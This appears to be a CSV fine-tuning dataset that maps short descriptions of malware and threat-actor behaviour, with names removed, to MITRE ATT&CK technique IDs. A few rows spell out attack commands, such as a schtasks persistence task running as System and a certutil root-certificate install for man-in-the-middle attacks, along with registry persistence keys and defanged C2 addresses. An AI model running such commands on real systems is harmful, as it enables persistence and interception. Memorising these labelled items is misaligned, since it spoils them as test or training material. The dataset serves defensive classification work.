A  malware sample encodes data with base64.,['T1132 - Data Encoding'],fine_tune
A  malware sample performs reflective DLL injection.,['T1055 - Process Injection'],fine_tune
A  module has a default C2 port of 13000.,['T1571 - Non-Standard Port'],fine_tune
A module in  collects information from the victim about installed anti-virus software.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
A module in  collects information from the victim about its IP addresses and MAC addresses.,['T1016 - System Network Configuration Discovery'],fine_tune
A module in  collects information from the victim about the current user name.,['T1033 - System Owner/User Discovery'],fine_tune
"A module in  collects information from the victim about Windows OS version, computer name, battery info, and physical memory.",['T1082 - System Information Discovery'],fine_tune
A module in  collects information on available printers and disk drives.,['T1120 - Peripheral Device Discovery'],fine_tune
An  backdoor may collect the entire contents of an inserted USB device.,['T1025 - Data from Removable Media'],fine_tune
"An  downloader creates persistence by creating the following scheduled task: schtasks /create /tn ""mysc"" /tr C:\Users\Public\test.exe /sc ONLOGON /ru ""System"".",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
An  downloader establishes SOCKS5 connections for its initial C2.,"['T1090 - Proxy', 'T1095 - Non-Application Layer Protocol']",fine_tune
"An  downloader first establishes a SOCKS5 connection to 192.157.198[.]103 using TCP port 1913; once the server response is verified, it then requests a connection to 192.184.60[.]229 on TCP port 81.",['T1104 - Multi-Stage Channels'],fine_tune
"An  downloader uses the Windows command ""cmd.exe"" /C whoami. The group also uses a tool to execute commands on remote computers.",['T1059 - Command and Scripting Interpreter'],fine_tune
"An  downloader uses the Windows command ""cmd.exe"" /C whoami to verify that it is running with the elevated privileges of “System.”",['T1033 - System Owner/User Discovery'],fine_tune
"An executable dropped onto victims by  aims to inject the specified DLL into a process that would normally be accessing the network, including Outlook Express (msinm.exe), Outlook (outlook.exe), Internet Explorer (iexplore.exe), and Firefox (firefox.exe).",['T1055 - Process Injection'],fine_tune
An  HTTP malware variant decrypts strings using single-byte XOR keys.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
An  HTTP malware variant establishes persistence by setting the Registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Debug Tools-%LOCALAPPDATA%\.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
An  HTTP malware variant used Base64 to encode communications to the C2 server.,['T1132 - Data Encoding'],fine_tune
An  loader Trojan adds the Registry key HKCU\Environment\UserInitMprLogonScript to establish persistence.,['T1037 - Boot or Logon Initialization Scripts'],fine_tune
An  loader Trojan uses a batch script to run its payload.,['T1064 - Scripting'],fine_tune
An  loader Trojan will enumerate the victim's processes searching for explorer.exe if its current process does not have necessary permissions.,['T1057 - Process Discovery'],fine_tune
An older variant of  performs UAC bypass.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
"An older version of  has a module that monitors all mounted volumes for files with the extensions .doc, .docx, .pgp, .gpg, .m2f, or .m2o.",['T1083 - File and Directory Discovery'],fine_tune
An  Port 22 malware variant registers itself as a service.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
A  payload deletes Resiliency Registry keys created by Microsoft Office applications in an apparent effort to trick users into thinking there were no issues during application runs.,['T1112 - Modify Registry'],fine_tune
A  payload has searched all fixed drives on the victim for files matching a specified list of extensions.,['T1083 - File and Directory Discovery'],fine_tune
A  payload uses process hollowing to hide the UAC bypass vulnerability exploitation inside svchost.exe.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
A  payload was packed with UPX.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
APIs and strings in some  variants are RC4 encrypted. Another variant is encoded with XOR.,['T1027 - Obfuscated Files or Information'],fine_tune
apparently altered  samples by adding four bytes of random letters in a likely attempt to change the file hashes.,"['T1027.001 - Obfuscated Files or Information: Binary Padding', 'T1027.005 - Indicator Removal from Tools']",fine_tune
appears to have functionality to modify remote Registry information.,['T1112 - Modify Registry'],fine_tune
appends a file signature header (randomly selected from six file types) to encrypted data prior to upload or download.,['T1027 - Obfuscated Files or Information'],fine_tune
appends a total of 64MB of garbage data to a file to deter any security products in place that may be scanning files on disk.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
"As part of the data reconnaissance phase,  grabs the system time to send back to the control server.",['T1124 - System Time Discovery'],fine_tune
A system info module in  gathers information on the victim host’s configuration.,['T1082 - System Information Discovery'],fine_tune
"A  tool can create a new service, naming it after the config information, to gain persistence.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
A  tool can encrypt payloads using XOR.  malware is also obfuscated using Metasploit’s shikata_ga_nai encoder as well as compressed with LZNT1 compression.,['T1027 - Obfuscated Files or Information'],fine_tune
A  tool can read and decrypt stored Registry values.,['T1012 - Query Registry'],fine_tune
A  tool can spawn svchost.exe and inject the payload into that process.,['T1055 - Process Injection'],fine_tune
A  tool can use a public UAC bypass method to elevate privileges.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
A  tool can use WMI to execute a binary.,['T1047 - Windows Management Instrumentation'],fine_tune
attempted to contact the C2 server over TCP using port 80.,['T1043 - Commonly Used Port'],fine_tune
attempted to get users to click on an embedded macro within a Microsoft Office Excel document to launch their malware.,['T1204 - User Execution'],fine_tune
attempted to get users to click on Microsoft Excel attachments containing malicious macro scripts.,['T1204 - User Execution'],fine_tune
attempted to get users to launch malicious attachments delivered via spearphishing emails.,['T1204 - User Execution'],fine_tune
attempted to get users to launch malicious Microsoft Office attachments delivered via spearphishing emails.,['T1204 - User Execution'],fine_tune
attempted to trick targets into clicking on a link featuring a seemingly legitimate domain from Adobe.com to download their malware and gain initial access.,['T1598.003 - Spearphishing Link'],fine_tune
attempted to use RDP to move laterally.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
"attempts to access the ADMIN$, C$\Windows, D$\Windows, and E$\Windows shares on the victim with its current privileges.",['T1083 - File and Directory Discovery'],fine_tune
attempts to add a shortcut file in the Startup folder to achieve persistence.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
"attempts to add a shortcut file in the Startup folder to achieve persistence. If this fails, it attempts to add Registry Run keys.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"attempts to avoid detection by checking a first stage command and control server to determine if it should connect to the second stage server, which performs ""louder"" interactions with the malware.",['T1104 - Multi-Stage Channels'],fine_tune
attempts to bypass default User Access Control (UAC) settings by exploiting a backward-compatibility setting found in Windows 7 and later.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
attempts to detect several anti-virus products.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
attempts to disable UAC remote restrictions by modifying the Registry.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
attempts to download an encrypted binary from a specified domain.,['T1105 - Ingress Tool Transfer'],fine_tune
attempts to escalate privileges by bypassing User Access Control.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
attempts to exploit privilege escalation vulnerabilities CVE-2010-0232 or CVE-2010-4398.,['T1068 - Exploitation for Privilege Escalation'],fine_tune
attempts to hide its payloads using legitimate filenames.,['T1036 - Masquerading'],fine_tune
attempts to obtain legitimate credentials during operations.,['T1078 - Valid Accounts'],fine_tune
attempts to overwrite operating system files with image files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
A  uses a encrypted and compressed payload that is disguised as a bitmap within the resource section of the installer.,['T1027 - Obfuscated Files or Information'],fine_tune
automatically collects files from the local system and removable drives based on a predefined list of file extensions on a regular timeframe.,['T1119 - Automated Collection'],fine_tune
automatically searches for files on local drives based on a predefined list of file extensions.,['T1083 - File and Directory Discovery'],fine_tune
automatically searches for files on local drives based on a predefined list of file extensions and sends them to the command and control server every 60 minutes.  also automatically sends keylogger files and screenshots to the C2 server on a regular timeframe.,['T1020 - Automated Exfiltration'],fine_tune
A  variant can force the compromised system to function as a proxy server.,['T1090 - Proxy'],fine_tune
A  variant downloads the backdoor payload via the BITS service.,['T1197 - BITS Jobs'],fine_tune
A  variant encodes C2 POST data base64.,['T1132 - Data Encoding'],fine_tune
A  variant has used DLL side-loading.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
A  variant has used rundll32 for execution.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
A  variant is encoded using a simple XOR cipher.,['T1027 - Obfuscated Files or Information'],fine_tune
A variant of  attempts communication to the C2 server over HTTP on port 443.,['T1043 - Commonly Used Port'],fine_tune
A variant of  encrypts some C2 with 3DES and RSA.,['T1573 - Encrypted Channel'],fine_tune
A variant of  executes dir C:\progra~1 when initially run.,['T1083 - File and Directory Discovery'],fine_tune
A  variant uses a C2 mechanism similar to port knocking that allows attackers to connect to a victim without leaving the connection open for more than a few sectonds.,['T1095 - Non-Application Layer Protocol'],fine_tune
A  variant uses DLL search order hijacking.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
A  variant uses fake TLS to communicate with the C2 server.,['T1095 - Non-Application Layer Protocol'],fine_tune
A  VBA Macro sets its file attributes to System and Hidden.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
A  VBScript receives a batch script to execute a set of commands in a command prompt.,['T1119 - Automated Collection'],fine_tune
A version of  introduced in July 2015 inserted junk code into the binary in a likely attempt to obfuscate it and bypass security products.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
"A version of  loads as shellcode within a .NET Framework project using msbuild.exe, presumably to bypass application whitelisting techniques.",['T1127 - Trusted Developer Utilities Proxy Execution'],fine_tune
"avoids analysis by encrypting all strings, internal files, configuration data.",['T1027 - Obfuscated Files or Information'],fine_tune
A Word document delivering  prompts the user to enable macro execution.,['T1204 - User Execution'],fine_tune
"Based on comparison of  versions,  made an effort to obfuscate strings in the malware that could be used as IoCs, including the mutex name and named pipe.",['T1027.005 - Indicator Removal from Tools'],fine_tune
beacons to destination port 443.,['T1043 - Commonly Used Port'],fine_tune
"Before being appended to image files,  commands are encrypted with a key composed of both a hard-coded value and a string contained on that day's tweet. To decrypt the commands, an investigator would need access to the intended malware sample, the day's tweet, and the image file containing the command.",['T1573 - Encrypted Channel'],fine_tune
"Before writing to disk,  inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections.",['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
binds and listens on port 1058.,['T1571 - Non-Standard Port'],fine_tune
binds and listens on port 443.,['T1043 - Commonly Used Port'],fine_tune
bypassed User Access Control (UAC).,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
bypasses UAC to escalate privileges by using a custom “RedirectEXE” shim database.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
bypasses user access control by using a DLL hijacking vulnerability in the Windows Update Standalone Installer (wusa.exe).,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
C2 messages are Base64-encoded.,['T1132 - Data Encoding'],fine_tune
"C2 servers communicated with malware over TCP 8081, 8282, and 8083.",['T1571 - Non-Standard Port'],fine_tune
"C2 traffic attempts to evade detection by resembling data generated by legitimate messenger applications, such as MSN and Yahoo! messengers.",['T1001 - Data Obfuscation'],fine_tune
C2 traffic can communicate via TCP raw sockets.,['T1095 - Non-Application Layer Protocol'],fine_tune
"C2 traffic for most  tools occurs over Port Numbers 53, 80, and 443.",['T1043 - Commonly Used Port'],fine_tune
"C2 traffic from  is encrypted, then encoded with Base64 encoding.",['T1132 - Data Encoding'],fine_tune
C2 traffic has been encrypted with RC4 and AES.,['T1573 - Encrypted Channel'],fine_tune
C2 traffic is base64-encoded.,['T1132 - Data Encoding'],fine_tune
C2 traffic is encrypted using bitwise NOT and XOR operations.,['T1573 - Encrypted Channel'],fine_tune
calls cmd.exe to run various DLL files via rundll32.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
calls cmd.exe to run various DLL files via rundll32 and also to perform file cleanup.  also has the capability to invoke a reverse shell.,['T1059 - Command and Scripting Interpreter'],fine_tune
can accept multiple URLs for C2 servers.,['T1008 - Fallback Channels'],fine_tune
can add a new service to ensure  persists on the system when delivered as another payload onto the system.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
can add or remove applications or ports on the Windows firewall or disable it entirely.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
can alter the victim's proxy configuration.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"can attempt to run the program as admin, then show a fake error message and a legitimate UAC bypass prompt to the user in an attempt to socially engineer the user into escalating privileges.",['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
can be added as a service to establish persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"can be configured to have commands relayed over a peer-to-peer network of infected hosts. This can be used to limit the number of egress points, or provide access to a host without direct internet access.",['T1090 - Proxy'],fine_tune
can be configured to use HTTP or DNS for command and control.,['T1071 - Application Layer Protocol'],fine_tune
can be configured to use multiple network protocols to avoid network-based detection.,['T1026 - Multiband Communication'],fine_tune
can be configured to use raw TCP or UDP for command and control.,['T1095 - Non-Application Layer Protocol'],fine_tune
can be launched by using DLL search order hijacking in which the wrapper DLL is placed in the same folder as explorer.exe and loaded during startup into the Windows Explorer process instead of the legitimate library.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
can be used as a persistence proxy technique to execute a helper DLL when netsh.exe is executed.,['T1546.007 - Event Triggered Execution: Netsh Helper DLL'],fine_tune
can be used to copy files to a remotely connected system.,['T1105 - Ingress Tool Transfer'],fine_tune
can be used to create  to upload and/or download files.,['T1105 - Ingress Tool Transfer'],fine_tune
can be used to create  to upload files from a compromised host.,['T1048 - Exfiltration Over Alternative Protocol'],fine_tune
can be used to delete files from the file system.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
can be used to disable local firewall settings.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
can be used to discover current NetBIOS sessions.,['T1049 - System Network Connections Discovery'],fine_tune
can be used to discover local NetBIOS domain names.,['T1016 - System Network Configuration Discovery'],fine_tune
can be used to discover processes running on a system.,['T1057 - Process Discovery'],fine_tune
can be used to discover services running on a system.,['T1007 - System Service Discovery'],fine_tune
can be used to discover system firewall settings.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
can be used to display ARP configuration information on the host.,['T1016 - System Network Configuration Discovery'],fine_tune
can be used to download files from a given URL.,['T1105 - Ingress Tool Transfer'],fine_tune
can be used to dump credentials.,['T1003 - OS Credential Dumping'],fine_tune
"can be used to enumerate local network connections, including active TCP connections and other network statistics.",['T1049 - System Network Connections Discovery'],fine_tune
can be used to enumerate security software currently running on a system by process name of known products.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
can be used to execute binaries on remote systems by creating and starting a service.,['T1569.002 - System Services: Service Execution'],fine_tune
can be used to find files and directories with native functionality such as dir commands.,['T1083 - File and Directory Discovery'],fine_tune
can be used to find information about the operating system.,['T1082 - System Information Discovery'],fine_tune
can be used to gather information about the operating system.,['T1082 - System Information Discovery'],fine_tune
can be used to identify remote systems within a network.,['T1018 - Remote System Discovery'],fine_tune
can be used to install browser root certificates as a precursor to performing man-in-the-middle between connections to banking websites. Example command: certutil -addstore -f -user ROOT ProgramData\cert512121.der.,['T1553.004 - Subvert Trust Controls: Install Root Certificate'],fine_tune
"can be used to locate certain types of files/directories in a system.(ex: locate all files with a specific extension, name, and/or age)",['T1083 - File and Directory Discovery'],fine_tune
can be used to schedule a task on a system.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
can be used to set up a proxy tunnel to allow remote host access to an infected host.,['T1090 - Proxy'],fine_tune
can be used to subvert controls and possibly conceal command execution by not directly invoking .,['T1202 - Indirect Command Execution'],fine_tune
"can bypass Windows UAC through either DLL hijacking, eventvwr, or appPaths.",['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
can capture a screenshot from a victim.,['T1113 - Screen Capture'],fine_tune
can capture desktop screenshots in the PNG format and send them to the C2 server.,['T1113 - Screen Capture'],fine_tune
can capture screenshots.,['T1113 - Screen Capture'],fine_tune
can capture screenshots at a configurable interval.,['T1113 - Screen Capture'],fine_tune
"can capture screenshots of not only the entire screen, but of each separate window open, in case they are overlapping.",['T1113 - Screen Capture'],fine_tune
can capture screenshots of the victim’s machine.,['T1113 - Screen Capture'],fine_tune
can capture the victim's screen.,['T1113 - Screen Capture'],fine_tune
can change Internet Explorer settings to reduce warnings about malware activity.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
can collect CPU and architecture information from the victim’s machine.,['T1082 - System Information Discovery'],fine_tune
can collect data from a local system.,['T1005 - Data from Local System'],fine_tune
can collect data from user directories.,['T1005 - Data from Local System'],fine_tune
"can collect operating system (OS) version information, processor information, system name, and information about installed disks from the victim.",['T1082 - System Information Discovery'],fine_tune
can communicate over a reverse proxy using SOCKS5.,['T1090 - Proxy'],fine_tune
can communicate over FTP and send email over SMTP.,['T1071 - Application Layer Protocol'],fine_tune
"can communicate over HTTP, SMTP, and POP3 for C2.",['T1071 - Application Layer Protocol'],fine_tune
can communicate over HTTP for C2.,['T1071 - Application Layer Protocol'],fine_tune
can communicate to its C2 over HTTP and HTTPS if directed.,['T1071 - Application Layer Protocol'],fine_tune
can communicate to its C2 over TCP using a custom binary protocol.,['T1095 - Non-Application Layer Protocol'],fine_tune
can communicate using SOCKS.,['T1095 - Non-Application Layer Protocol'],fine_tune
can compress data with Zip before sending it over C2.,['T1560 - Archive Collected Data'],fine_tune
can conduct file browsing.,['T1083 - File and Directory Discovery'],fine_tune
can create a directory (C:\ProgramData\Mail\MailAg\gl) to use as a temporary directory for uploading files.,['T1074 - Data Staged'],fine_tune
"can create a new service named msamger (Microsoft Security Accounts Manager), which mimics the legitimate Microsoft database by the same name.",['T1036 - Masquerading'],fine_tune
can create a new service named msamger (Microsoft Security Accounts Manager).,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
can create a remote shell and run a given command.,['T1059 - Command and Scripting Interpreter'],fine_tune
can create a shortcut in the Windows startup folder for persistence.,"['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
"can create backdoor accounts with the login ""HelpAssistant"" with the Limbo module.",['T1136 - Create Account'],fine_tune
can delete all Registry entries created during its execution.,['T1112 - Modify Registry'],fine_tune
can delete a specified file.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
can delete files and directories.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
can delete files and itself after infection to avoid analysis.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
can delete files and optionally overwrite with random data beforehand.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
can delete files off the system.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
can delete files on the victim’s machine.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
can delete files written to disk.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
can delete itself or specified files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
can delete malware and associated artifacts from the victim.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
can delete services from the victim’s machine.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
can delete specified files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"can deliver ""beacon"" payloads for lateral movement by leveraging remote COM execution.",['T1021.003 - Remote Services: Distributed Component Object Model'],fine_tune
can disable Avira anti-virus.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
can disable Microsoft Office Protected View by changing Registry keys.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
can discover and collect victim system information.,['T1082 - System Information Discovery'],fine_tune
can download additional encrypted backdoors onto the victim via GIF files.,['T1105 - Ingress Tool Transfer'],fine_tune
can download additional files.,['T1105 - Ingress Tool Transfer'],fine_tune
can download additional files and payloads to compromised hosts.,['T1105 - Ingress Tool Transfer'],fine_tune
can download additional files from URLs.,['T1105 - Ingress Tool Transfer'],fine_tune
can download additional payloads onto the victim.,['T1105 - Ingress Tool Transfer'],fine_tune
can download and execute additional files.,['T1105 - Ingress Tool Transfer'],fine_tune
can download and execute an arbitary executable.,['T1105 - Ingress Tool Transfer'],fine_tune
can download and execute files.,['T1105 - Ingress Tool Transfer'],fine_tune
can download and launch additional payloads.,['T1105 - Ingress Tool Transfer'],fine_tune
can download and upload files to and from the victim’s machine.,['T1105 - Ingress Tool Transfer'],fine_tune
can download and upload files to the victim's machine.,['T1105 - Ingress Tool Transfer'],fine_tune
can download an executable to run on the victim.,['T1105 - Ingress Tool Transfer'],fine_tune
can download files from its C2 server to the victim's machine.,['T1105 - Ingress Tool Transfer'],fine_tune
can download files from remote servers.,['T1105 - Ingress Tool Transfer'],fine_tune
can download files from the C2 server to the victim’s machine.,['T1105 - Ingress Tool Transfer'],fine_tune
can download files off the target system to send back to the server.,['T1005 - Data from Local System'],fine_tune
can download files onto the victim.,['T1105 - Ingress Tool Transfer'],fine_tune
can download files remotely.,['T1105 - Ingress Tool Transfer'],fine_tune
can download or upload files from its C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
can download remote files.,['T1105 - Ingress Tool Transfer'],fine_tune
can download remote files and additional payloads to the victim's machine.,['T1105 - Ingress Tool Transfer'],fine_tune
can download remote files onto victims.,['T1105 - Ingress Tool Transfer'],fine_tune
can drop a mouse-logger that will take small screenshots around at each click and then send back to the server.,['T1113 - Screen Capture'],fine_tune
can dump credentials.,['T1003 - OS Credential Dumping'],fine_tune
can dump passwords and save them into \ProgramData\Mail\MailAg\pwds.txt.,['T1003 - OS Credential Dumping'],fine_tune
can dump the SAM database.,['T1003 - OS Credential Dumping'],fine_tune
can enable/disable RDP connection and can start a remote desktop session using a browser web socket client.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
can enable remote desktop on the victim's machine.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
can encrypt C2 traffic with AES.,['T1573 - Encrypted Channel'],fine_tune
can enumerate active windows.,['T1010 - Application Window Discovery'],fine_tune
can enumerate and search for files and directories.,['T1083 - File and Directory Discovery'],fine_tune
can enumerate drives and Remote Desktop sessions.,['T1049 - System Network Connections Discovery'],fine_tune
can enumerate drives and their types. It can also change file permissions using cacls.exe.,['T1083 - File and Directory Discovery'],fine_tune
can enumerate local information for Linux hosts and find currently logged on users for Windows hosts.,['T1033 - System Owner/User Discovery'],fine_tune
can enumerate processes.,['T1057 - Process Discovery'],fine_tune
can enumerate Registry keys.,['T1012 - Query Registry'],fine_tune
"can enumerate Registry values, keys, and data.",['T1012 - Query Registry'],fine_tune
"can establish persistence by adding a Scheduled Task named ""Microsoft Boost Kernel Optimization"".",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
can establish persistence by adding Registry Run keys.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
can establish persistence by creating a .lnk file in the Start menu.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
can establish persistence by creating a .lnk file in the Start menu or by modifying existing .lnk files to execute the malware through cmd.exe.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
can establish persistence by creating a scheduled task.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"can establish persistence by setting the value “Shell” with “explorer.exe, %malware_pathfile%” under the Registry key HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon.",['T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL'],fine_tune
can establish persistence through the system screensaver by configuring it to execute the malware.,['T1546.002 - Event Triggered Execution: Screensaver'],fine_tune
can establish using a AppCertDLLs Registry key.,['T1546.009 - Event Triggered Execution: AppCert DLLs'],fine_tune
can establish using a Registry run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
can execute a payload on a remote host with PowerShell. This technique does write any data to disk.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
can execute a task to download a file.,['T1105 - Ingress Tool Transfer'],fine_tune
can execute commands from its C2 server.,['T1059 - Command and Scripting Interpreter'],fine_tune
can execute commands on the victim.,['T1059 - Command and Scripting Interpreter'],fine_tune
can execute commands on the victim's machine.,['T1059 - Command and Scripting Interpreter'],fine_tune
can execute commands on victims.,['T1059 - Command and Scripting Interpreter'],fine_tune
can execute commands remotely by creating a new schedule task on the remote system,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
can execute commands remotely by creating a new service on the remote system.,['T1569.002 - System Services: Service Execution'],fine_tune
can execute commands using a shell.,['T1059 - Command and Scripting Interpreter'],fine_tune
can execute commands using cmd.exe.,['T1059 - Command and Scripting Interpreter'],fine_tune
can execute commands with script as well as execute JavaScript.,['T1064 - Scripting'],fine_tune
can execute ipconfig on the victim’s machine.,['T1016 - System Network Configuration Discovery'],fine_tune
can execute PowerShell scripts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
can execute shell commands using cmd.exe.,['T1059 - Command and Scripting Interpreter'],fine_tune
"can exfiltrate data via a DNS tunnel or email, separately from its C2 channel.",['T1048 - Exfiltration Over Alternative Protocol'],fine_tune
can exploit vulnerabilities such as MS14-058.,['T1068 - Exploitation for Privilege Escalation'],fine_tune
can extract cached password hashes from a system’s registry.,['T1003 - OS Credential Dumping'],fine_tune
can function as a proxy to create a serve that relays communication between the client and C&C server.,['T1090 - Proxy'],fine_tune
can gather a list of processes.,['T1057 - Process Discovery'],fine_tune
can gather a process list from the victim.,['T1057 - Process Discovery'],fine_tune
can gather browser usernames and passwords.,['T1003 - OS Credential Dumping'],fine_tune
can gather information about TCP connection state.,['T1049 - System Network Connections Discovery'],fine_tune
can gather information about the host.,['T1082 - System Information Discovery'],fine_tune
"can gather information on the mapped drives, OS version, computer name, and memory size.",['T1082 - System Information Discovery'],fine_tune
can gather information on the victim username.,['T1033 - System Owner/User Discovery'],fine_tune
can gather network share information.,['T1135 - Network Share Discovery'],fine_tune
can gather Registry values.,['T1012 - Query Registry'],fine_tune
"can gather system information, the computer name, OS version, drive and serial information from the victim's machine.",['T1082 - System Information Discovery'],fine_tune
can gather the disk volume information.,['T1082 - System Information Discovery'],fine_tune
can gather the IP address from the victim's machine.,['T1016 - System Network Configuration Discovery'],fine_tune
can gather the victim computer name and serial number.,['T1082 - System Information Discovery'],fine_tune
can gather the victim user name.,['T1033 - System Owner/User Discovery'],fine_tune
can gather victim drive information.,['T1083 - File and Directory Discovery'],fine_tune
can gather victim proxy information.,['T1016 - System Network Configuration Discovery'],fine_tune
can get a list of the processes and running tasks on the system.,['T1057 - Process Discovery'],fine_tune
can identify logged in users across the domain and views user sessions.,['T1033 - System Owner/User Discovery'],fine_tune
"can identify system information, including battery status.",['T1082 - System Information Discovery'],fine_tune
can inject a malicious DLL into a process.,['T1055 - Process Injection'],fine_tune
can inject a variety of payloads into processes dynamically chosen by the adversary.,['T1055 - Process Injection'],fine_tune
can install a new service.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
can install encrypted configuration data under the Registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\laxhost.dll and HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs.,['T1112 - Modify Registry'],fine_tune
can install itself as a new service.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
can interact with a victim’s Outlook session and look through folders and emails.,['T1114 - Email Collection'],fine_tune
can launch a remote shell to execute commands.,['T1059 - Command and Scripting Interpreter'],fine_tune
can launch cmd.exe to execute commands on the system.,['T1059 - Command and Scripting Interpreter'],fine_tune
can list all files on a system.,['T1083 - File and Directory Discovery'],fine_tune
can list connected devices.,['T1120 - Peripheral Device Discovery'],fine_tune
can list directories on a victim.,['T1083 - File and Directory Discovery'],fine_tune
can list files and directories.,['T1083 - File and Directory Discovery'],fine_tune
can list local and remote shared drives and folders over SMB.,['T1135 - Network Share Discovery'],fine_tune
can list running services.,['T1007 - System Service Discovery'],fine_tune
can lists information about files in a directory.,['T1083 - File and Directory Discovery'],fine_tune
can list the running processes and get the process ID and parent process’s ID.,['T1057 - Process Discovery'],fine_tune
can load a DLL using .,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
can load a DLL using the LoadLibrary API.,['T1129 - Server Software Component'],fine_tune
can log keystrokes.,['T1056 - Input Capture'],fine_tune
can manipulate Registry keys.,['T1112 - Modify Registry'],fine_tune
can migrate into another process using reflective DLL injection.,['T1055 - Process Injection'],fine_tune
can modify file or directory timestamps.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
can modify service configurations.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
can obtain a list of active connections and open ports.,['T1049 - System Network Connections Discovery'],fine_tune
can obtain a list of running processes on the victim’s machine.,['T1057 - Process Discovery'],fine_tune
can obtain a list of SIDs and provide the option for selecting process tokens to impersonate.,['T1134 - Access Token Manipulation'],fine_tune
can obtain a list of smart card readers attached to the victim.,['T1120 - Peripheral Device Discovery'],fine_tune
can obtain a process list from the victim.,['T1057 - Process Discovery'],fine_tune
"can obtain information about network configuration, including the routing table, ARP cache, and DNS cache.",['T1016 - System Network Configuration Discovery'],fine_tune
can obtain information about process integrity levels.,['T1057 - Process Discovery'],fine_tune
can obtain information about running processes on the victim.,['T1057 - Process Discovery'],fine_tune
can obtain information about security software on the victim.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
